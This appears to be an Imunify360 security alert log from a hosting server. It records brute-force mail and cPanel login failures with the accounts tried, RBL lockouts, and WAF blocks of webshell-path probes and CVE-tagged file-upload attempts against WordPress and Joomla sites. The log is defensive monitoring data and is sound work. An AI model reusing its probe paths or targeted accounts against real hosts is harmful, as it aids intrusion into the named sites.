abuser: 94.16.17.140
country_id: 2921044
description:
Jul 23 17:54:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-23 17:54:38 dovecot_login authenticator failed for H=([222.111.148.83]) [94.16.17.140]:37704: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 17:54:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.97.120
country_id: 337996
description:
Jul 23 17:58:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.97.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.97.120
country_id: 337996
description:
2026-07-23 17:58:42 dovecot_login authenticator failed for H=(static-149-255-1-35.benet.ru) [196.188.97.120]:41054: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.10.197.168
country_id: 2661886
description:
Jul 23 17:58:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.10.197.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.197.168
country_id: 2661886
description:
2026-07-23 17:58:53 dovecot_login authenticator failed for H=h-176-10-197-168.a444.priv.bahnhof.se ([49.124.147.104]) [176.10.197.168]:49698: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 43.228.157.24
country_id: 1168579
domain: apkmetal.in
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-23 18:03:22 dovecot_login authenticator failed for H=([183.171.57.49]) [47.234.138.49]:41208: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.105.229.237
country_id: 1835841
description:
Jul 23 18:03:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.105.229.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-23 18:03:59 dovecot_login authenticator failed for H=(m121-202-198-98.smartone.com) [211.105.229.237]:36168: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/google-sites-unblocked\">Retro Bowl College 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.229.94
country_id: 1269750
description:
2026-07-23 18:13:15 dovecot_login authenticator failed for H=([119.203.4.207]) [152.52.229.94]:47214: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://miami.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 18:18:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-23 18:22:43 dovecot_login authenticator failed for H=(49.62-99-100.dynamic.clientes.euskaltel.es) [102.211.7.162]:56174: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.211.7.162
country_id: 2215636
description:
Jul 23 18:22:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.211.7.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 5.206.227.97
country_id: 2264397
domain: ahsmarine.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/keonthemes.com||User:ahsmarine||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 130.195.245.43
country_id: 3190538
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:18-32.130.195.245.43||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.53.7.231
country_id: 6252001
description:
Jul 23 18:32:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.53.7.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-23 18:32:21 dovecot_login authenticator failed for H=([196.189.124.229]) [64.53.7.231]:44750: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.116.110
country_id: 1269750
description:
Jul 23 18:32:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.116.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-23 18:32:53 dovecot_login authenticator failed for H=(the-caper-b.bar3.tampa1.level3.net) [122.187.116.110]:59704: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 18:34:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-23 18:40:59 dovecot_login authenticator failed for H=([27.39.128.127]) [220.72.198.61]:55599: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.220.233.148
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-23 18:54:53 dovecot_login authenticator failed for H=([138.75.105.42]) [119.192.219.77]:58413: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-23 18:55:18 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([117.32.132.170]) [60.40.45.223]:60261: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.29
country_id: 6252001
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/robots.txt HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.122.161.88
country_id: 3351879
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/malik-malayalam-movie-experience-metro-digital-media HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.245.108
country_id: 2921044
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/news-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.50.99
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/elegantautomotives.com/sitemap.xml.gz HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.51.210
country_id: 2635167
domain: elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/elegantautomotives.com/wp-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.29.67
country_id: 3017382
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/sitemap_index.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.182.75
country_id: 2921044
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 18:57:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.13.42
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/elegantautomotives.com/sitemap_index.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.163.239
country_id: 6252001
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/sitemap.xml.gz HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.123.177.72
country_id: 3017382
domain: elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/elegantautomotives.com/news-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.231.243
country_id: 6252001
domain: www.elegantautomotives.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.elegantautomotives.com/wp-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.95.10
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://emergencyacrepair1.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.119.44.29
country_id: 1282988
description:
Jul 23 19:09:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.119.44.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-23 19:09:53 dovecot_login authenticator failed for H=(host59.sub-63-47-149.myvzw.com) [111.119.44.29]:35496: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 51.120.70.186
country_id: 3144096
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.35||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.228.240.159
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34018.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a85d4644f4f6f4de4c4da0d12513fd21f04a0495||Title:0x0eef6949||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 51.120.70.186
country_id: 3144096
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.140
country_id: 2921044
description:
Jul 23 19:13:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.77.34
country_id: 1668284
description:
2026-07-23 19:13:17 dovecot_login authenticator failed for H=221-120-77-34.emome-ip.hinet.net ([98.122.215.23]) [221.120.77.34]:49668: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-23 19:13:38 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([171.244.60.35]) [24.142.170.231]:46206: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-23 19:13:46 dovecot_login authenticator failed for H=(146-66-75-78.no-dns-yet.in-addr.zen.co.uk) [103.130.207.227]:50224: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.58
country_id: 1036973
description:
Jul 23 19:14:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-23 19:13:12 dovecot_login authenticator failed for H=(164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [94.16.17.140]:59164: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.120.77.34
country_id: 1668284
description:
Jul 23 19:13:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.120.77.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-23 19:14:06 dovecot_login authenticator failed for H=([60.249.251.88]) [197.219.208.58]:46678: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/goods.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.107.211
country_id: 2077456
description:
2026-07-23 19:14:24 dovecot_login authenticator failed for H=([68.171.125.5]) [220.240.107.211]:38955: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.183.73
country_id: 2658434
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-includes/images/smilies/about.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.149.253
country_id: 248816
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es30?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-23 19:18:19 dovecot_login authenticator failed for H=([184.170.249.69]) [81.214.75.248]:43292: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.19.7.82
country_id: 3144096
description:
2026-07-23 19:18:24 dovecot_login authenticator failed for H=([111.235.66.253]) [194.19.7.82]:53930: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-23 19:18:38 dovecot_login authenticator failed for H=([49.124.149.53]) [218.156.93.202]:40905: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-23 19:18:46 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [203.192.211.180]:48688: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.157.90.252
country_id: 6251999
description:
2026-07-23 19:18:55 dovecot_login authenticator failed for H=d157-90-252.home4.cgocable.net (static.ill.117.250.107.180.bsnl.co.in) [24.157.90.252]:33334: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.24.67
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-automation HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.214.75.248
country_id: 298795
description:
Jul 23 19:18:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.214.75.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 19:19:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-23 19:21:46 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.102.190
country_id: 1269750
description:
Jul 23 19:22:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.102.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-23 19:22:51 dovecot_login authenticator failed for H=([218.156.93.203]) [182.95.102.190]:44242: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.196.213.196
country_id: 1835841
description:
Jul 23 19:23:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.196.213.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-23 19:23:20 dovecot_login authenticator failed for H=([114.30.180.58]) [119.196.213.196]:49552: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77469916
abuser: 95.85.238.60
country_id: 3077311
domain: stcinemas.co
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_skkptx.xml.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 95.85.238.60
country_id: 3077311
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icojcqbib/fonts/fbdtbti.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 19:28:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.228.88
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/news-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.36.55
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.alnayza.com/sitemap_index.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.12.127
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.alnayza.com/news-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.13.200
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 19:29:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.35.248
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/sitemap.xml.gz HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.167.19.182
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.alnayza.com/wp-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.185.127
country_id: 1605651
domain: www.alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.alnayza.com/robots.txt HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.50.80
country_id: 2635167
domain: www.alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.alnayza.com/sitemap.xml.gz HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.225.19
country_id: 1562822
domain: interceptorglobal.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/interceptorglobal.in/ HTTP/1.1||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.175.103
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/wp-sitemap.xml HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.157.91.62
country_id: 453733
description:
Jul 23 19:31:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.157.91.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-23 19:31:42 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([49.124.151.63]) [37.157.91.62]:43345: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.253.147.12
country_id: 6252001
description:
Jul 23 19:32:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.253.147.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.253.147.12
country_id: 6252001
description:
2026-07-23 19:32:06 dovecot_login authenticator failed for H=cm-170-253-147-12.maxxsouthbb.net (187-40-1-41.user.vtal.net.br) [170.253.147.12]:44406: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77469916
abuser: 92.118.205.232
country_id: 798544
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:logins-5469ead0f7f214a019f084f04f26df39.xml.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.171.177.112
country_id: 3017382
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/spfzhsiz/fonts/qklsukxx.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 19:42:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 116.110.16.249
country_id: 1562822
domain: globalgroupoman.com
description:
